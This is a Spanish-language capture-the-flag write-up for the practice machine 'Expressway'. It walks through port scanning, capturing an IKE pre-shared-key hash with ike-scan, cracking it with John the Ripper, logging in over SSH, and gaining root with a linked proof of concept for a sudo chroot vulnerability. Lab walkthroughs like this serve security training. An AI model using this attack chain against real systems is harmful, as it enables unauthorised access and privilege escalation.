Expressway es la primera máquina easy de la Season 9
~ 🔎 Escaneo Inicial
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
nmap -sS -p- -n -Pn --open --min-rate 5000 -oN escaneo.txt -sCV 10.10.11.87
Nmap scan report for 10.10.11.87
Host is up (0.22s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 21 17:50:49 2025 -- 1 IP address (1 host up) scanned in 18.98 seconds
└───────────────────────────────────────────────────────────────────────────────────────────────────
Podemos comprobar que la maquina tiene el puerto 22 (SSH) abierto únicamente, en este punto al no
tener credenciales válidas no hay nada que podamos hacer.
Procederemos a escanear los puertos UDP
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
sudo nmap -sU --min-rate 5000 10.10.11.87
[sudo] contraseña para alex:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-09-23 11:56 +0200
Nmap scan report for 10.10.11.87
Host is up (0.080s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT STATE SERVICE
500/udp open isakmp
1028/udp closed ms-lsa
17487/udp closed unknown
21364/udp closed unknown
21842/udp closed unknown
34038/udp closed unknown
37813/udp closed unknown
└───────────────────────────────────────────────────────────────────────────────────────────────────
Vemos que el puerto 500 esta abierto, para recopilar mas información acerca de lo que es *isakmp* se
puede consultar la siguiente página
Recurso externo: abrir recurso
ISAKMP (Internet Security Association and Key Management Protocol) es un protocolo que define el
marco para establecer, negociar, modificar y eliminar asociaciones de seguridad (SAs) y claves
criptográficas en una conexión de red
Utilizando la herramienta ike-scan podemos obtener información
┌─[ bash ]──────────────────────────────────────────────────────────────────────────────────────────
sudo ike-scan -M 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned
HDR=(CKY-R=f4128fae20cf2b2a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.106 seconds (9.41 hosts/sec). 1 returned handshake; 0 returned notify
└───────────────────────────────────────────────────────────────────────────────────────────────────
El valor de la última línea devuelve *1 returned handshake*, esto significa que el objetivo está
configurado para IPsec y está dispuesto a realizar la negociación IKE
A continuación podemos intentar obtener un hash con un fakeID
┌─[ c ]─────────────────────────────────────────────────────────────────────────────────────────────
sudo ike-scan -P -M -A -n fakeID 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned
HDR=(CKY-R=80a866d855fbf729)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
3fe902bd4e2cc055b00737626ba08dcdce03831a58ee4bdee071b1a1ca8a01fe13212ffa50f1c0ec166cb2af7ea38ffa098d22f7ab8d210c247d4c5d807625b5d610cae70d8b058db9dd0e95c4c0ce8de46148dad42f51414b6750f4cd450e4248d9d88da9e64fb6c6afe718d6f74dff468f0d0545c3a49e7e1c208620e91260:bcf6b65e900b434f3374bd2b268242711776d865f9b256f7e009692740655d97e86f5f4fa6939b6275f506a8f26e3290c989aeb47e523acc1d5f78f785173ea4e3790145bc3556f62d74ce6e8695d0425389f377b1c738972205e9db7f75bcd2a8bd10fc243980e0d4e6af2c72f0c69322fa68d6e75e22ebb2b7b6a78c3410a2:80a866d855fbf729:9a96d48703eba5f0:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:84fade652fda04134f4c94be3cecfeaeb5725740:54309b93a63ce3737289331fe4e81cd862ca11b0d6fc6756143083ecca6e3080:d43bff4be0b9fa62499f499e7e63cb94f681d5d1
Ending ike-scan 1.9.6: 1 hosts scanned in 0.114 seconds (8.75 hosts/sec). 1 returned handshake; 0 returned notify
└───────────────────────────────────────────────────────────────────────────────────────────────────
El hash pertenece a fakeid, encontramos un posible usuario válido (<ike@expressway.htb>)
Crackeamos el hash
~ 🔐 Hash Cracking
Para esta parte vamos a usar john, guardamos el hash en un archivo .txt y usando la herramienta
ikescan2john, de la suite de tools de john the ripper, lo transformaremos a un hash válido que
podremos crackear si tiene una contraseña debil
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
ikescan2john ike.txt > ike.hash
└───────────────────────────────────────────────────────────────────────────────────────────────────
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
john ike.hash --show
?:freakingrockstarontheroad
1 password hash cracked, 0 left
└───────────────────────────────────────────────────────────────────────────────────────────────────
Tenemos la contraseña quedaria probarla usando el puerto descubierto SSH
~ ▸ FootHold (User.txt)
Probando el usuario ike con la contraseña crackeada
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
ssh ike@10.10.11.87
ike@10.10.11.87's password:
Last login: Mon Sep 22 21:54:48 BST 2025 from 10.10.14.19 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 23 11:09:18 2025 from 10.10.16.6
ike@expressway:~$
└───────────────────────────────────────────────────────────────────────────────────────────────────
Conseguimos el acceso inicial y la flag *user.txt*
~ ⚡ Root
Enumerando el sistema vemos la siguiente versión de sudo
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
ike@expressway:~$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
└───────────────────────────────────────────────────────────────────────────────────────────────────
Esta versión tiene un CVE reciente
Recurso externo: abrir recurso
1. Lee `/directorio/etc/nsswitch.conf` (DENTRO del chroot futuro)
2. Carga bibliotecas NSS del SISTEMA PRINCIPAL (no aisladas)
3. Después aplica el chroot (¡demasiado tarde!)
Podemos usar el siguiente poc para obtener root en el sistema
Recurso externo: abrir recurso
Una vez usado somos root
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
ike@expressway:/tmp$ chmod +x exp.sh
ike@expressway:/tmp$ ./exp.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
└───────────────────────────────────────────────────────────────────────────────────────────────────